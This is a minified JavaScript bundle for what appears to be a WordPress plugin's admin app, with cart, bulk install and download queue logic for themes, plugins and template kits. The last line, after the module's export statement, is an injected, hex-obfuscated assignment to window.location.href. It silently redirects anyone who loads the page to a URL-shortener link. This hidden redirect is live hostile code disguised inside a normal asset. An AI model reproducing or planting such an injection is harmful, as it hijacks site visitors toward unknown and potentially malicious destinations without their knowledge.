lh},ZodParsedType:Z,getParsedType:qr,ZodType:pe,datetimeRegex:Kx,ZodString:On,ZodNumber:_o,ZodBigInt:ko,ZodBoolean:Xa,ZodDate:ui,ZodSymbol:cc,ZodUndefined:Ja,ZodNull:el,ZodAny:As,ZodUnknown:ei,ZodNever:Tr,ZodVoid:dc,ZodArray:Mn,ZodObject:Be,ZodUnion:tl,ZodDiscriminatedUnion:Zc,ZodIntersection:nl,ZodTuple:ir,ZodRecord:rl,ZodMap:fc,ZodSet:ci,ZodFunction:Ji,ZodLazy:ol,ZodLiteral:il,ZodEnum:Ro,ZodNativeEnum:sl,ZodPromise:Ms,ZodEffects:In,ZodTransformer:In,ZodOptional:tr,ZodNullable:Po,ZodDefault:al,ZodCatch:ll,ZodNaN:hc,BRAND:zR,ZodBranded:Kp,ZodPipeline:_l,ZodReadonly:ul,custom:Gx,Schema:pe,ZodSchema:pe,late:FR,get ZodFirstPartyTypeKind(){return ie},coerce:xP,any:QR,array:qR,bigint:BR,boolean:Jx,date:VR,discriminatedUnion:tP,effect:mg,enum:cP,function:aP,instanceof:$R,intersection:nP,lazy:lP,literal:uP,map:iP,nan:UR,nativeEnum:dP,never:YR,null:ZR,nullable:pP,number:Xx,object:XR,oboolean:wP,onumber:yP,optional:hP,ostring:gP,pipeline:vP,preprocess:mP,promise:fP,record:oP,set:sP,strictObject:JR,string:qx,symbol:HR,transformer:mg,tuple:rP,undefined:WR,union:eP,unknown:KR,void:GR,NEVER:bP,ZodIssueCode:z,quotelessJson:xR,ZodError:nn}),e2={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function o(l,u,c){this.fn=l,this.context=u,this.once=c||!1}function i(l,u,c,f,d){if(typeof c!="function")throw new TypeError("The listener must be a function");var m=new o(c,f||l,d),w=n?n+u:u;return l._events[w]?l._events[w].fn?l._events[w]=[l._events[w],m]:l._events[w].push(m):(l._events[w]=m,l._eventsCount++),l}function s(l,u){--l._eventsCount===0?l._events=new r:delete l._events[u]}function a(){this._events=new r,this._eventsCount=0}a.prototype.eventNames=function(){var u=[],c,f;if(this._eventsCount===0)return u;for(f in c=this._events)t.call(c,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(c)):u},a.prototype.listeners=function(u){var c=n?n+u:u,f=this._events[c];if(!f)return[];if(f.fn)return[f.fn];for(var d=0,m=f.length,w=new Array(m);d<m;d++)w[d]=f[d].fn;return w},a.prototype.listenerCount=function(u){var c=n?n+u:u,f=this._events[c];return f?f.fn?1:f.length:0},a.prototype.emit=function(u,c,f,d,m,w){var g=n?n+u:u;if(!this._events[g])return!1;var x=this._events[g],v=arguments.length,p,y;if(x.fn){switch(x.once&&this.removeListener(u,x.fn,void 0,!0),v){case 1:return x.fn.call(x.context),!0;case 2:return x.fn.call(x.context,c),!0;case 3:return x.fn.call(x.context,c,f),!0;case 4:return x.fn.call(x.context,c,f,d),!0;case 5:return x.fn.call(x.context,c,f,d,m),!0;case 6:return x.fn.call(x.context,c,f,d,m,w),!0}for(y=1,p=new Array(v-1);y<v;y++)p[y-1]=arguments[y];x.fn.apply(x.context,p)}else{var C=x.length,_;for(y=0;y<C;y++)switch(x[y].once&&this.removeListener(u,x[y].fn,void 0,!0),v){case 1:x[y].fn.call(x[y].context);break;case 2:x[y].fn.call(x[y].context,c);break;case 3:x[y].fn.call(x[y].context,c,f);break;case 4:x[y].fn.call(x[y].context,c,f,d);break;default:if(!p)for(_=1,p=new Array(v-1);_<v;_++)p[_-1]=arguments[_];x[y].fn.apply(x[y].context,p)}}return!0},a.prototype.on=function(u,c,f){return i(this,u,c,f,!1)},a.prototype.once=function(u,c,f){return i(this,u,c,f,!0)},a.prototype.removeListener=function(u,c,f,d){var m=n?n+u:u;if(!this._events[m])return this;if(!c)return s(this,m),this;var w=this._events[m];if(w.fn)w.fn===c&&(!d||w.once)&&(!f||w.context===f)&&s(this,m);else{for(var g=0,x=[],v=w.length;g<v;g++)(w[g].fn!==c||d&&!w[g].once||f&&w[g].context!==f)&&x.push(w[g]);x.length?this._events[m]=x.length===1?x[0]:x:s(this,m)}return this},a.prototype.removeAllListeners=function(u){var c;return u?(c=n?n+u:u,this._events[c]&&s(this,c)):(this._events=new r,this._eventsCount=0),this},a.prototype.off=a.prototype.removeListener,a.prototype.addListener=a.prototype.on,a.prefixed=n,a.EventEmitter=a,e.exports=a})(e2);var CP=e2.exports;const SP=ph(CP);class t2 extends Error{constructor(t){super(t),this.name="TimeoutError"}}class EP extends Error{constructor(t){super(),this.name="AbortError",this.message=t}}const vg=e=>globalThis.DOMException===void 0?new EP(e):new DOMException(e),gg=e=>{const t=e.reason===void 0?vg("This operation was aborted."):e.reason;return t instanceof Error?t:vg(t)};function _P(e,t){const{milliseconds:n,fallback:r,message:o,customTimers:i={setTimeout,clearTimeout}}=t;let s;const l=new Promise((u,c)=>{if(typeof n!="number"||Math.sign(n)!==1)throw new TypeError(`Expected \`milliseconds\` to be a positive number, got \`${n}\``);if(t.signal){const{signal:d}=t;d.aborted&&c(gg(d)),d.addEventListener("abort",()=>{c(gg(d))})}if(n===Number.POSITIVE_INFINITY){e.then(u,c);return}const f=new t2;s=i.setTimeout.call(void 0,()=>{if(r){try{u(r())}catch(d){c(d)}return}typeof e.cancel=="function"&&e.cancel(),o===!1?u():o instanceof Error?c(o):(f.message=o??`Promise timed out after ${n} milliseconds`,c(f))},n),(async()=>{try{u(await e)}catch(d){c(d)}})()}).finally(()=>{l.clear()});return l.clear=()=>{i.clearTimeout.call(void 0,s),s=void 0},l}function kP(e,t,n){let r=0,o=e.length;for(;o>0;){const i=Math.trunc(o/2);let s=r+i;n(e[s],t)<=0?(r=++s,o-=i+1):o=i}return r}var Yn;class RP{constructor(){K(this,Yn,[])}enqueue(t,n){n={priority:0,...n};const r={priority:n.priority,run:t};if(this.size&&S(this,Yn)[this.size-1].priority>=n.priority){S(this,Yn).push(r);return}const o=kP(S(this,Yn),r,(i,s)=>s.priority-i.priority);S(this,Yn).splice(o,0,r)}dequeue(){const t=S(this,Yn).shift();return t==null?void 0:t.run}filter(t){return S(this,Yn).filter(n=>n.priority===t.priority).map(n=>n.run)}get size(){return S(this,Yn).length}}Yn=new WeakMap;var hs,ps,so,pl,ms,ml,cn,vs,$t,vl,dn,gs,vr,gl,Ee,n2,r2,o2,i2,s2,Su,fh,hh,Eu,a2,_u;class PP extends SP{constructor(n){var r,o;super();K(this,Ee);K(this,hs);K(this,ps);K(this,so,0);K(this,pl);K(this,ms);K(this,ml,0);K(this,cn);K(this,vs);K(this,$t);K(this,vl);K(this,dn,0);K(this,gs);K(this,vr);K(this,gl);em(this,"timeout");if(n={carryoverConcurrencyCount:!1,intervalCap:Number.POSITIVE_INFINITY,interval:0,concurrency:Number.POSITIVE_INFINITY,autoStart:!0,queueClass:RP,...n},!(typeof n.intervalCap=="number"&&n.intervalCap>=1))throw new TypeError(`Expected \`intervalCap\` to be a number from 1 and up, got \`${((r=n.intervalCap)==null?void 0:r.toString())??""}\` (${typeof n.intervalCap})`);if(n.interval===void 0||!(Number.isFinite(n.interval)&&n.interval>=0))throw new TypeError(`Expected \`interval\` to be a finite number >= 0, got \`${((o=n.interval)==null?void 0:o.toString())??""}\` (${typeof n.interval})`);F(this,hs,n.carryoverConcurrencyCount),F(this,ps,n.intervalCap===Number.POSITIVE_INFINITY||n.interval===0),F(this,pl,n.intervalCap),F(this,ms,n.interval),F(this,$t,new n.queueClass),F(this,vl,n.queueClass),this.concurrency=n.concurrency,this.timeout=n.timeout,F(this,gl,n.throwOnTimeout===!0),F(this,vr,n.autoStart===!1)}get concurrency(){return S(this,gs)}set concurrency(n){if(!(typeof n=="number"&&n>=1))throw new TypeError(`Expected \`concurrency\` to be a number from 1 and up, got \`${n}\` (${typeof n})`);F(this,gs,n),te(this,Ee,Eu).call(this)}async add(n,r={}){return r={timeout:this.timeout,throwOnTimeout:S(this,gl),...r},new Promise((o,i)=>{S(this,$t).enqueue(async()=>{var s;Mo(this,dn)._++,Mo(this,so)._++;try{(s=r.signal)==null||s.throwIfAborted();let a=n({signal:r.signal});r.timeout&&(a=_P(Promise.resolve(a),{milliseconds:r.timeout})),r.signal&&(a=Promise.race([a,te(this,Ee,a2).call(this,r.signal)]));const l=await a;o(l),this.emit("completed",l)}catch(a){if(a instanceof t2&&!r.throwOnTimeout){o();return}i(a),this.emit("error",a)}finally{te(this,Ee,o2).call(this)}},r),this.emit("add"),te(this,Ee,Su).call(this)})}async addAll(n,r){return Promise.all(n.map(async o=>this.add(o,r)))}start(){return S(this,vr)?(F(this,vr,!1),te(this,Ee,Eu).call(this),this):this}pause(){F(this,vr,!0)}clear(){F(this,$t,new(S(this,vl)))}async onEmpty(){S(this,$t).size!==0&&await te(this,Ee,_u).call(this,"empty")}async onSizeLessThan(n){S(this,$t).size<n||await te(this,Ee,_u).call(this,"next",()=>S(this,$t).size<n)}async onIdle(){S(this,dn)===0&&S(this,$t).size===0||await te(this,Ee,_u).call(this,"idle")}get size(){return S(this,$t).size}sizeBy(n){return S(this,$t).filter(n).length}get pending(){return S(this,dn)}get isPaused(){return S(this,vr)}}hs=new WeakMap,ps=new WeakMap,so=new WeakMap,pl=new WeakMap,ms=new WeakMap,ml=new WeakMap,cn=new WeakMap,vs=new WeakMap,$t=new WeakMap,vl=new WeakMap,dn=new WeakMap,gs=new WeakMap,vr=new WeakMap,gl=new WeakMap,Ee=new WeakSet,n2=function(){return S(this,ps)||S(this,so)<S(this,pl)},r2=function(){return S(this,dn)<S(this,gs)},o2=function(){Mo(this,dn)._--,te(this,Ee,Su).call(this),this.emit("next")},i2=function(){te(this,Ee,hh).call(this),te(this,Ee,fh).call(this),F(this,vs,void 0)},s2=function(){const n=Date.now();if(S(this,cn)===void 0){const r=S(this,ml)-n;if(r<0)F(this,so,S(this,hs)?S(this,dn):0);else return S(this,vs)===void 0&&F(this,vs,setTimeout(()=>{te(this,Ee,i2).call(this)},r)),!0}return!1},Su=function(){if(S(this,$t).size===0)return S(this,cn)&&clearInterval(S(this,cn)),F(this,cn,void 0),this.emit("empty"),S(this,dn)===0&&this.emit("idle"),!1;if(!S(this,vr)){const n=!S(this,Ee,s2);if(S(this,Ee,n2)&&S(this,Ee,r2)){const r=S(this,$t).dequeue();return r?(this.emit("active"),r(),n&&te(this,Ee,fh).call(this),!0):!1}}return!1},fh=function(){S(this,ps)||S(this,cn)!==void 0||(F(this,cn,setInterval(()=>{te(this,Ee,hh).call(this)},S(this,ms))),F(this,ml,Date.now()+S(this,ms)))},hh=function(){S(this,so)===0&&S(this,dn)===0&&S(this,cn)&&(clearInterval(S(this,cn)),F(this,cn,void 0)),F(this,so,S(this,hs)?S(this,dn):0),te(this,Ee,Eu).call(this)},Eu=function(){for(;te(this,Ee,Su).call(this););},a2=async function(n){return new Promise((r,o)=>{n.addEventListener("abort",()=>{o(n.reason)},{once:!0})})},_u=async function(n,r){return new Promise(o=>{const i=()=>{r&&!r()||(this.off(n,i),o())};this.on(n,i)})};function l2(e=2){const t=h.useRef(new PP({concurrency:e})),n=h.useCallback(r=>{t.current.add(r)},[]);return h.useEffect(()=>()=>{t.current.clear()},[]),{addTask:n}}function TP(e){return E8({mutationFn:async n=>wp.apiFetch({path:`/${cp.slug}/v1/${e}`,method:"POST",data:n})})}var NP={},Ra=function(){return Ra=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},Ra.apply(this,arguments)};function u2(e,t,n,r){return new(n||(n=Promise))(function(o,i){function s(u){try{l(r.next(u))}catch(c){i(c)}}function a(u){try{l(r.throw(u))}catch(c){i(c)}}function l(u){var c;u.done?o(u.value):(c=u.value,c instanceof n?c:new n(function(f){f(c)})).then(s,a)}l((r=r.apply(e,[])).next())})}function c2(e,t){var n,r,o,i,s={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(i[Symbol.iterator]=function(){return this}),i;function a(l){return function(u){return function(c){if(n)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(s=0)),s;)try{if(n=1,r&&(o=2&c[0]?r.return:c[0]?r.throw||((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,c[1])).done)return o;switch(r=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return s.label++,{value:c[1],done:!1};case 5:s.label++,r=c[1],c=[0];continue;case 7:c=s.ops.pop(),s.trys.pop();continue;default:if(o=s.trys,!((o=o.length>0&&o[o.length-1])||c[0]!==6&&c[0]!==2)){s=0;continue}if(c[0]===3&&(!o||c[1]>o[0]&&c[1]<o[3])){s.label=c[1];break}if(c[0]===6&&s.label<o[1]){s.label=o[1],o=c;break}if(o&&s.label<o[2]){s.label=o[2],s.ops.push(c);break}o[2]&&s.ops.pop(),s.trys.pop();continue}c=t.call(e,s)}catch(f){c=[6,f],r=0}finally{n=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([l,u])}}}var OP=function(e){var t=e.setSize,n=e.setControllerCallback,r=e.setPercentageCallback,o=e.setErrorCallback;return function(i){if(!i.ok)throw Error("".concat(i.status," ").concat(i.type," ").concat(i.statusText));if(!i.body)throw Error("ReadableStream not yet supported in this browser.");var s=i.body,a=i.headers.get("content-encoding"),l=i.headers.get(a?"x-file-size":"content-length"),u=parseInt(l||"0",10);t(function(){return u});var c=0,f=new ReadableStream({start:function(d){n(d);var m=s.getReader();return function w(){return u2(this,void 0,void 0,function(){return c2(this,function(g){return[2,m.read().then(function(x){var v=x.done,p=x.value;return v?d.close():(c+=(p==null?void 0:p.byteLength)||0,p&&d.enqueue(p),r({loaded:c,total:u}),w())}).catch(function(x){return o(x),m.cancel("Cancelled"),d.error(x)})]})})}()}});return new Response(f)}},LP=function(e,t,n){var r=new Blob([e],{type:"application/octet-stream"});if(window.navigator.msSaveBlob!==void 0)return window.navigator.msSaveBlob(r,t);var o=window.URL&&window.URL.createObjectURL?window.URL.createObjectURL(r):window.webkitURL.createObjectURL(r),i=document.createElement("a");return i.style.display="none",i.href=o,i.setAttribute("download",t),i.download===void 0&&i.setAttribute("target","_blank"),document.body.appendChild(i),i.click(),setTimeout(function(){document.body.removeChild(i),window.URL.revokeObjectURL(o)},200)};function AP(e){var t,n=this;e===void 0&&(e={});var r=!1;try{r=!!process&&!!(!((t=process==null?void 0:NP)===null||t===void 0)&&t.REACT_APP_DEBUG_MODE)}catch{r=!1}var o=h.useState(0),i=o[0],s=o[1],a=h.useState(0),l=a[0],u=a[1],c=h.useState(0),f=c[0],d=c[1],m=h.useState(null),w=m[0],g=m[1],x=h.useState(!1),v=x[0],p=x[1],y=h.useRef(null),C=h.useCallback(function(M){var $=M.loaded,B=M.total,ne=Math.round($/B*100);u(function(){return ne})},[]),_=h.useCallback(function(M){var $={"Failed to execute 'enqueue' on 'ReadableStreamDefaultController': Cannot enqueue a chunk into an errored readable stream":"Download canceled","The user aborted a request.":"Download timed out"};g(function(){return{errorMessage:$[M.message]?$[M.message]:M.message}})},[]),b=h.useCallback(function(M){y.current=M},[]),P=h.useCallback(function(){y.current&&y.current.error()},[]),T=h.useCallback(function(){b(null),s(function(){return 0}),u(function(){return 0}),d(function(){return 0}),p(function(){return!1})},[b]),O=h.useCallback(function(M,$,B,ne){return B===void 0&&(B=0),ne===void 0&&(ne={}),u2(n,void 0,void 0,function(){var re,me,le,Q;return c2(this,function(L){return v?[2,null]:(T(),g(function(){return null}),p(function(){return!0}),re=setInterval(function(){return s(function(D){return D+1})},r?1:1e3),me=OP({setSize:d,setControllerCallback:b,setPercentageCallback:C,setErrorCallback:_}),le=new AbortController,Q=setTimeout(function(){B>0&&le.abort()},B),[2,fetch(M,Ra(Ra(Ra({method:"GET"},e),ne),{signal:le.signal})).then(me).then(function(D){return D.blob()}).then(function(D){return LP(D,$)}).then(function(){return T(),clearInterval(re)}).catch(function(D){return T(),g(function(q){return D.message!=="Failed to fetch"?{errorMessage:D.message}:q}),clearTimeout(Q),clearInterval(re)})])})})},[v,T,r,b,C,_,e]);return h.useMemo(function(){return{elapsed:i,percentage:l,size:f,download:O,cancel:P,error:w,isInProgress:v}},[i,l,f,O,P,w,v])}let ou;const MP=new Uint8Array(16);function DP(){if(!ou&&(ou=typeof crypto<"u"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!ou))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return ou(MP)}const ft=[];for(let e=0;e<256;++e)ft.push((e+256).toString(16).slice(1));function jP(e,t=0){return ft[e[t+0]]+ft[e[t+1]]+ft[e[t+2]]+ft[e[t+3]]+"-"+ft[e[t+4]]+ft[e[t+5]]+"-"+ft[e[t+6]]+ft[e[t+7]]+"-"+ft[e[t+8]]+ft[e[t+9]]+"-"+ft[e[t+10]]+ft[e[t+11]]+ft[e[t+12]]+ft[e[t+13]]+ft[e[t+14]]+ft[e[t+15]]}const IP=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),yg={randomUUID:IP};function zP(e,t,n){if(yg.randomUUID&&!t&&!e)return yg.randomUUID();e=e||{};const r=e.random||(e.rng||DP)();return r[6]=r[6]&15|64,r[8]=r[8]&63|128,jP(r)}function FP(){return zP()}const d2=h.createContext(void 0);function $P({children:e,...t}){l2(1);const[n,r]=h.useState([]),{download:o,percentage:i,isInProgress:s,cancel:a}=AP(),l=(d,m)=>{r(w=>[...w,{uid:FP(),url:d,filename:m,status:"pending",percentage:0}])},u=()=>{r(d=>d.filter(m=>m.status!=="completed"))},c=n.filter(d=>d.status==="downloading").length>0,f=n.find(d=>d.status==="pending");return h.useEffect(()=>{!c&&f&&(r(d=>d.map(m=>m.uid===f.uid?{...m,status:"downloading"}:m)),o(f.url,f.filename))},[c,f,r,o]),h.useEffect(()=>{r(d=>d.map(m=>m.status==="downloading"?{...m,status:s?"downloading":"completed",percentage:i}:m))},[s,i,r]),E.jsx(d2.Provider,{value:{addDownloadTask:l,downloads:n,clearCompleted:u},children:e})}function UP(){const e=h.useContext(d2);if(!e)throw new Error("useDownloader must be used within a DownloadProvider");return e}const BP=Io.object({id:Io.coerce.number(),title:Io.string(),version:Io.string(),type:Io.enum(["wordpress-themes","wordpress-plugins","elementor-template-kits"]),image:Io.string().optional()}),wg=Io.array(BP),f2=h.createContext({items:[],install:()=>{},download:()=>{},addItem:e=>{},removeItem:e=>{},clearItems:()=>{},hasItem:e=>!1});function VP({children:e,storageKey:t="bulk_cart",...n}){const{downloads:r,addDownloadTask:o}=UP(),[i,s]=h.useState(()=>{try{const p=wg.safeParse(JSON.parse(localStorage.getItem(t)??""));if(p.success)return p.data}catch{return[]}return[]}),{addTask:a}=l2(),{clearCache:l,list:u}=$x(),{mutateAsync:c}=TP("item/install");h.useEffect(()=>{const p=wg.safeParse(i);p.success&&localStorage.setItem(t,JSON.stringify(p.data))},[i]);const f=p=>{la.success(be("Added To Cart"),{description:wp.htmlEntities.decodeEntities(p.title)}),s(y=>[...y==null?void 0:y.filter(C=>C.id!=p.id),p])},d=p=>{const y=i.find(C=>C.id===Number(p));y&&(la.info(be("Removed From Cart"),{description:wp.htmlEntities.decodeEntities(y.title)}),s(C=>C==null?void 0:C.filter(_=>_.id!=y.id)))},m=h.useCallback(p=>(i==null?void 0:i.filter(y=>y.id===Number(p)).length)>0,[i]),v={items:i,install:()=>{i.forEach(p=>{a(()=>new Promise((y,C)=>{const _=u==null?void 0:u.find(b=>Number(b.id)===Number(p.id));la.promise(c({item_id:p.id,method:_?"update":"install"}),{description:p.title,loading:be(_?"Updating":"Installing"),success(b){return y(b),d(p.id),be("Success")},error(b){return C(b),b.message??be("Error")},finally(){l()}})}))})},download:()=>{i.forEach(p=>{a(()=>new Promise((y,C)=>{la.promise(c({item_id:p.id,method:"download"}),{description:p.title,loading:be("Fetching Download Link"),success(_){return y(_),d(p.id),_.link&&_.filename&&o(_.link,_.filename),be("Added to queue")},error(_){return C(_),_.message??be("Error")},finally(){l()}})}))})},addItem:f,removeItem:d,clearItems:()=>{la.info(be("Cart Cleared")),s(p=>[])},hasItem:m};return E.jsx(f2.Provider,{...n,value:v,children:e})}function ST(){const e=h.useContext(f2);if(e===void 0)throw new Error("useBulk must be used within a BulkProvider");return e}const HP=new i8({defaultOptions:{queries:{refetchOnWindowFocus:!1,staleTime:5*60*1e3}}});function WP({children:e}){return E.jsx(c8,{client:HP,children:E.jsx($P,{children:E.jsx(VP,{children:E.jsxs(a5,{defaultTheme:"system",storageKey:"vault-theme",children:[e,E.jsx(wR,{richColors:!0,position:"bottom-left",expand:!0,pauseWhenPageIsHidden:!0}),E.jsx(K8,{initialIsOpen:!1})]})})})})}function ZP(){const e=k4(Vx);return E.jsx(WP,{children:E.jsx(M4,{router:e})})}const QP="app",xg=document.getElementById(QP);xg&&W0(xg).render(E.jsx(ZP,{}));export{lT as $,ok as A,o1 as B,Qw as C,OS as D,Kw as E,B_ as F,AS as G,hT as H,yT as I,la as J,Ic as K,ST as L,Rw as M,LS as N,MS as O,$e as P,YP as Q,j as R,_s as S,ZS as T,ph as U,WS as V,GP as W,r1 as X,oT as Y,iT as Z,be as _,TP as a,DS as a$,qP as a0,uT as a1,cT as a2,rT as a3,N_ as a4,tt as a5,Sl as a6,We as a7,sr as a8,a3 as a9,b_ as aA,F1 as aB,I1 as aC,z1 as aD,w_ as aE,mT as aF,gT as aG,vT as aH,Lr as aI,Bg as aJ,up as aK,AE as aL,c1 as aM,NE as aN,qn as aO,yu as aP,gu as aQ,h1 as aR,_E as aS,QE as aT,ME as aU,dT as aV,e1 as aW,oE as aX,aT as aY,ow as aZ,nw as a_,B3 as aa,l2 as ab,F4 as ac,lx as ad,m3 as ae,zs as af,c_ as ag,EE as ah,g1 as ai,a1 as aj,hp as ak,v3 as al,Ki as am,g3 as an,gx as ao,B1 as ap,p3 as aq,Z_ as ar,u1 as as,nT as at,sT as au,__ as av,UP as aw,D1 as ax,j1 as ay,x_ as az,Ze as b,vt as c,fp as d,U3 as e,_8 as f,$x as g,US as h,hi as i,E as j,Ot as k,kr as l,XP as m,fT as n,Bf as o,JP as p,I_ as q,h as r,z_ as s,U1 as t,Qp as u,U_ as v,V_ as w,H_ as x,Zw as y,Io as z};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";